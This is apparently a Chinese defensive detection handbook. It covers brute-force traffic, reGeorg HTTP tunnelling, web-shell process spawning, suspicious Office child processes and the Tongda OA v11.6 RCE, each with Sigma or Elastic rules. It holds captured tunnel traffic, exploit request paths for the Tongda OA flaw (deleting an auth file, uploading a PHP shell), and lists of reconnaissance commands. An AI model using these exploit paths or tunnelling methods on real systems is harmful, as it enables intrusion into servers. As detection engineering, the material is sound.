s3yg OK LOGIN completed. //认证成功
暴力破解特征:
IMAP爆破会不断重复LOGIN "用户名" "密码",以及登录失败的报错:NO Logon failure: unknown user name or bad password。
HTTP协议
HTTP登录页面看是否存在302页面跳转判断为登录成功。
Referer: http://192.1.14.199:8080/login.html //登录地址
uname=admin&upass=1qaz%40WSXHTTP/1.1 200 OK
…
<script>alert('OK')</script>
//输入用户名admin,密码1qaz%40WSX,Web服务器返回HTTP/1.1 200和弹出对话框“OK”表示认证成功。
暴力破解特征:
短时间内出现大量登录页面的请求包。
HTTPS协议
HTTPS协议为加密协议,从数据很难判断认证是否成功,只能根据数据头部结合社会工程学才能判断。如认证后有无查看网页、邮件的步骤,如有,就会产生加密数据。
暴力破解特征:
爆破过程中,不断出现认证过程:“Client Hello”、“Server Hello”等,并未出现登录成功后操作的大量加密数据。在不到2秒的时间就出现16次认证,基本可以判断为暴力破解。
0x15 003-Regeorg-HTTP隧道检测
描述
攻击者可能会将带有Web Shell的后门Web服务器用于建立对系统的持久访问。Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入网络的网关。Web shell程序可以在托管Web服务器的系统上提供一组要执行的功能或一个命令行界面。
除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(如菜刀、冰蝎、哥斯拉等)
ReGeorg简介
reGeorg是reDuh的继承者,利用了会话层的socks5协议,效率更高结合Proxifier使用;Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。
测试案例
reGeorg搭建HTTP隧道和流量分析
reGeorg搭建HTTP隧道和流量分析-腾讯云开发者社区-腾讯云
检测日志
HTTP_log
测试复现
参考测试案例文章链接
测试留痕
kali
在kali上抓包,然后访问内网,tcpdump抓包,分析流量
tcpdump -ieth0 -wkali.pcap 然后打开wireshark追踪tcp流,看流量
...............P.........PGET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:39:09 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
serverA
在serverA上抓包第一个流可以看到服务器A作为跳板,表明服务器与哪台内网主机的哪个端口连接cmd=connecttarget=172.17.0.2 目标内网ipport=80 端口为80
POST http://182.x.x.x:8080/tunnel.jsp?
cmd=connect&target=172.17.0.2&port=80 HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: CONNECT
X-PORT: 80
X-TARGET: 172.17.0.2
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT
下一条流cmd=read,代表是去访问内网的内容
Accept-Encoding: identity请求的HTTP头通告其内容编码,只要没有被明确禁止
服务器就不能发回406 Not Acceptable错误
响应包头:Transfer-Encoding: chunked代表是分块传输
POST /tunnel.jsp?cmd=read HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: READ
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 17 Dec 2020 16:44:45 GMT
接下来这条流就是cmd=forward,转发到内网
POST /tunnel.jsp?cmd=forward HTTP/1.1
Host: 182.92.73.106:8080
Accept-Encoding: identity
Content-Length: 83
Content-Type: application/octet-stream
X-CMD: FORWARD
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT
最后就是cmd=disconnect关闭连接
POST /tunnel.jsp?cmd=disconnect HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
X-CMD: DISCONNECT
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT
内网服务器
在内网服务器上抓包,看到服务器A向内网请求了login.php
GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:53:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
以上内容摘自reGeorg搭建HTTP隧道和流量分析-腾讯云开发者社区-腾讯云
检测规则/思路
sigma规则
title: Webshell ReGeorg HTTP隧道检测
status: 测试状态
description: 通过请求路径内的内容进行检测,基于url参数检测
references:
- https://cloud.tencent.com/developer/article/1779195
- https://github.com/sensepost/reGeorg
logsource:
category: webserver
detection:
selection:
uri_query|contains: #url中包含此类特征
- '*cmd=read*'
- '*connect&target*'
- '*cmd=connect*'
- '*cmd=disconnect*'
- '*cmd=forward*'
filter:
referer: null
useragent: null
method: POST
condition: selection and filter
fields:
- uri_query
- referer
- method
- useragent
falsepositives:
- web applications that use the same URL parameters as ReGeorg
level: high
tags:
- attack.persistence
- attack.t1100
- attack.t1505.003
备注
多数安全设备已支持检测此类隧道行为。
0x16 003-web服务产生的可疑进程
描述
攻击者可能会将带有Web Shell的后门Web服务器用于建立对系统的持久访问。Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入网络的网关。Web shell程序可以在托管Web服务器的系统上提供一组要执行的功能或一个命令行界面。
除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(如菜刀、冰蝎、哥斯拉等)
测试案例
此检测方法将查找常见的Web服务器进程名称,并标识使用脚本语言(cmd,powershell,wscript,cscript),请注意常见的初始配置文件命令(net\net1\whoami\ping\ipconfig)或管理命令(sc)启动的任何进程。看到此活动并不意味着您的服务器立即存在可疑行为,因此您需要自己调整检测语句,以便该检测方法适应您的web应用环境。
检测日志
windows、sysmon日志、以及其他可记录进程、命令行参数的EDR产品
测试复现
暂无
测试留痕
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
<EventID>4688</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>13312</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2015-11-12T02:24:52.377352500Z" />
<EventRecordID>2814</EventRecordID>
<Correlation />
<Execution ProcessID="4" ThreadID="400" />
<Channel>Security</Channel>
<Computer>WIN-GG82ULGC9GO.contoso.local</Computer>
<Security />
</System>
- <EventData>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-GG82ULGC9GO$</Data>
<Data Name="SubjectDomainName">CONTOSO</Data>
<Data Name="SubjectLogonId">0x3e7</Data>
<Data Name="NewProcessId">0x2bc</Data>
<Data Name="NewProcessName">C:\\Windows\\System32\\rundll32.exe</Data>
<Data Name="TokenElevationType">%%1938</Data>
<Data Name="ProcessId">0xe74</Data>
<Data Name="CommandLine" />
<Data Name="TargetUserSid">S-1-5-21-1377283216-344919071-3415362939-1104</Data>
<Data Name="TargetUserName">dadmin</Data>
<Data Name="TargetDomainName">CONTOSO</Data>
<Data Name="TargetLogonId">0x4a5af0</Data>
<Data Name="ParentProcessName">C:\\Windows\\explorer.exe</Data>
<Data Name="MandatoryLabel">S-1-16-8192</Data>
</EventData>
</Event>
检测规则/思路
sigma规则
title: web服务产生的可疑进程
status: experimental #测试状态
description: Web服务器产生的可疑的shell进程,可能是成功放置Web shell或其他攻击的结果
logsource:
category: process_creation #进程创建
product: windows #数据源,windows
detection:
selection:
ParentImage:
- '*\w3wp.exe'
- '*\httpd.exe'
- '*\nginx.exe'
- '*\php-cgi.exe'
- '*\tomcat.exe'
- '*\sqlservr.exe'
Image:
- '*\cmd.exe'
- '*\sh.exe'
- '*\bash.exe'
- '*\powershell.exe'
- '*\bitsadmin.exe'
- '*\cscript.exe'
- '*\wscript.exe'
- '*\net.exe'
- '*\net1.exe'
- '*\ping.exe'
- '*\whoami.exe'
condition: selection
fields:
- CommandLine
- ParentCommandLine
tags:
- attack.persistence
- attack.t1505.003
- attack.privilege_escalation # an old one
- attack.t1190
falsepositives:
- 特定的web应用程序可以合法地派生shell进程,如ipconfig、whoami等进程,在部分客户侧,发现此两进程频繁被调用,其主机并无异常。
level: high
备注
整体检测思路,攻击者通过webshell执行一些信息收集的命令,如ipconfig等命令。此类行为在windows日志上的表现形式为,用户调用了常见的中间件的进程,执行了某些命令。此规则检测思路便是来源于此,仅仅适用于windows平台,可自行添加常见的用于信息收集或者其他目的的命令行参数,不断完善规则。
0x17 003-windows下webshell检测
描述
攻击者可能会将带有Web Shell的后门Web服务器用于建立对系统的持久访问。Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入网络的网关。Web shell程序可以在托管Web服务器的系统上提供一组要执行的功能或一个命令行界面。
除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(如菜刀、冰蝎、哥斯拉等)
ReGeorg简介
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
测试案例
暂无
检测日志
windows、sysmon日志、以及其他可记录进程、命令行参数的EDR产品
测试复现
暂无
测试留痕
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
<EventID>4688</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>13312</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2015-11-12T02:24:52.377352500Z" />
<EventRecordID>2814</EventRecordID>
<Correlation />
<Execution ProcessID="4" ThreadID="400" />
<Channel>Security</Channel>
<Computer>WIN-GG82ULGC9GO.contoso.local</Computer>
<Security />
</System>
- <EventData>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-GG82ULGC9GO$</Data>
<Data Name="SubjectDomainName">CONTOSO</Data>
<Data Name="SubjectLogonId">0x3e7</Data>
<Data Name="NewProcessId">0x2bc</Data>
<Data Name="NewProcessName">C:\\Windows\\System32\\rundll32.exe</Data>
<Data Name="TokenElevationType">%%1938</Data>
<Data Name="ProcessId">0xe74</Data>
<Data Name="CommandLine" />
<Data Name="TargetUserSid">S-1-5-21-1377283216-344919071-3415362939-1104</Data>
<Data Name="TargetUserName">dadmin</Data>
<Data Name="TargetDomainName">CONTOSO</Data>
<Data Name="TargetLogonId">0x4a5af0</Data>
<Data Name="ParentProcessName">C:\\Windows\\explorer.exe</Data>
<Data Name="MandatoryLabel">S-1-16-8192</Data>
</EventData>
</Event>
检测规则/思路
sigma规则
title: 通过常见的命令行参数检测webshell行为
description: 通过web shell侦察活动中经常使用的某些命令行参数来检测边界web服务器是否存在webshell
references:
- https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html
- https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/
tags:
- attack.persistence
- attack.t1505.003
- attack.t1018
- attack.t1033
- attack.t1087
- attack.privilege_escalation # an old one
- attack.t1100 # an old one
logsource:
category: process_creation #进程创建
product: windows #windows数据源
detection:
selection:
ParentImage:
- '*\apache*'
- '*\tomcat*'
- '*\w3wp.exe'
- '*\php-cgi.exe'
- '*\nginx.exe'
- '*\httpd.exe'
CommandLine:
- '*whoami*'
- '*net user *'
- '*net use *'
- '*net group *'
- '*quser*'
- '*ping -n *'
- '*systeminfo'
- '*&cd&echo*'
- '*cd /d*' # https://www.computerhope.com/cdhlp.htm
- '*ipconfig*'
- '*pathping*'
- '*tracert*'
- '*netstat*'
- '*schtasks*'
- '*vssadmin*'
- '*wevtutil*'
- '*tasklist*'
- '*wmic /node:*'
- '*Test-NetConnection*'
- '*dir \*' # remote dir: dir \<redacted IP #3>\C$:\windows\temp\*.exe
condition: selection
fields:
- CommandLine
- ParentCommandLine
falsepositives:
- unknown #有效性,未知
level: high #等级较高
备注
整体检测思路,攻击者通过webshell执行一些信息收集的命令,如ipconfig等命令。此类行为在windows日志上的表现形式为,用户调用了常见的中间件的进程,执行了某些命令。此规则检测思路便是来源于此,仅仅适用于windows平台,可自行添加常见的用于信息收集或者其他目的的命令行参数,不断完善规则。
0x18 win-可疑的MS Office子进程
描述
攻击者可能发送带有恶意附件的鱼叉式电子邮件,以试图访问受害者系统。鱼叉式附件与其他形式的鱼叉式附件的不同之处在于,它使用了附加到电子邮件的恶意软件。所有形式的鱼叉式广告都是以电子方式交付的针对特定个人,公司或行业的社会工程学。在这种情况下,攻击者会将文件附加到欺骗性电子邮件中,并且通常依靠用户执行来获得执行。
附件有很多选项,例如Microsoft Office文档,可执行文件,PDF或存档文件。打开附件(并可能单击过去的保护)后,攻击者的有效负载会利用漏洞或直接在用户的系统上执行。鱼叉式电子邮件的文本通常试图给出一个合理的原因来解释为什么应该打开该文件,并且可能会解释如何绕开系统保护措施。该电子邮件还可能包含有关如何解密附件(例如zip文件密码)的说明,以逃避电子邮件边界防御。攻击者经常操纵文件扩展名和图标,以使附加的可执行文件看起来像文档文件,或者利用一个应用程序的文件看起来像是另一文件的文件。
测试案例
暂无
检测日志
windows安全日志/sysmon日志
测试复现
暂无测试案例
测试留痕
暂无,可参看windows 4688进程创建日志样例,辅助理解。
Pre-Windows 2016/10
A new process has been created.
Subject:
Security ID: WIN-R9H529RIO4Y\Administrator
Account Name: Administrator
Account Domain: WIN-R9H529RIO4Y
Logon ID: 0x1fd23
Process Information:
New Process ID: 0xed0
New Process Name: C:\Windows\System32\notepad.exe
Token Elevation Type: TokenElevationTypeDefault (1)
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process ID: 0x8c0
Creator Process Name: c:\windows\system32\explorer.exe
Process Command Line: C:\Windows\System32\notepad.exe c:\sys\junk.txt
检测规则/思路
Elastic rule query
event.action:"Process Create (rule: ProcessCreate)" and
process.parent.name:(eqnedt32.exe or excel.exe or fltldr.exe or
msaccess.exe or mspub.exe or powerpnt.exe or winword.exe) and
process.name:(Microsoft.Workflow.Compiler.exe or arp.exe or
atbroker.exe or bginfo.exe or bitsadmin.exe or cdb.exe or certutil.exe
or cmd.exe or cmstp.exe or cscript.exe or csi.exe or dnx.exe or
dsget.exe or dsquery.exe or forfiles.exe or fsi.exe or ftp.exe or
gpresult.exe or hostname.exe or ieexec.exe or iexpress.exe or
installutil.exe or ipconfig.exe or mshta.exe or msxsl.exe or
nbtstat.exe or net.exe or net1.exe or netsh.exe or netstat.exe or
nltest.exe or odbcconf.exe or ping.exe or powershell.exe or pwsh.exe
or qprocess.exe or quser.exe or qwinsta.exe or rcsi.exe or reg.exe or
regasm.exe or regsvcs.exe or regsvr32.exe or sc.exe or schtasks.exe or
systeminfo.exe or tasklist.exe or tracert.exe or whoami.exe or
wmic.exe or wscript.exe or xwizard.exe)
建议
可自行转换为sigma格式,来实现对多个平台的支持。
0x19 通达V11.6-RCE漏洞
描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ 利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。
该exp会删除uth.inc.php文件导致OA系统系统异常。
目前已知受影响版本:V11.6
检测日志
HTTP.log
测试复现
漏洞复现建议参考以下文章
https://www.cnblogs.com/L0ading/p/13529013.html
测试留痕
可自行本地测试抓取流量
检测规则/思路
Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
title: 通达OA v11.6 RCE
description: 检测通达OA v11.6 RCE漏洞
author: 12306Bro
date: 2020/08/19
status: experimental
references:
- https://www.cnblogs.com/L0ading/p/13529013.html
logsource:
category: webserver
detection:
selection1:
c-uri:
- '//module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php' #响应包状态码为200
- '//inc/auth.inc.php' #响应包状态码为404,意味着删除成功
http.request.method: 'GET' #请求方法为GET
User-Agent: 'python-requests/*' #PY脚本自带
selection2:
c-uri:
- '//general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./' #响应包状态码为200
http.request.method: 'POST' #请求方法为POST
User-Agent: 'python-requests/*' #PY脚本自带
Content-Disposition: form-data; name="FILE1"; filename="*.php" #写入shell文件
condition: selection1 or selection2 #当条件1和条件2出现任意一个时,意味着你可能正在遭受探测性攻击,如果在短时间内出现了条件1后,出现了条件2,并且返回包状态码为200,意味着攻击正在发生,可能入侵成功。
falsepositives:
- Unknown
level: critical
此规则检测颗粒度较细,建议根据数据源等实际情况进行调整。
建议
暂无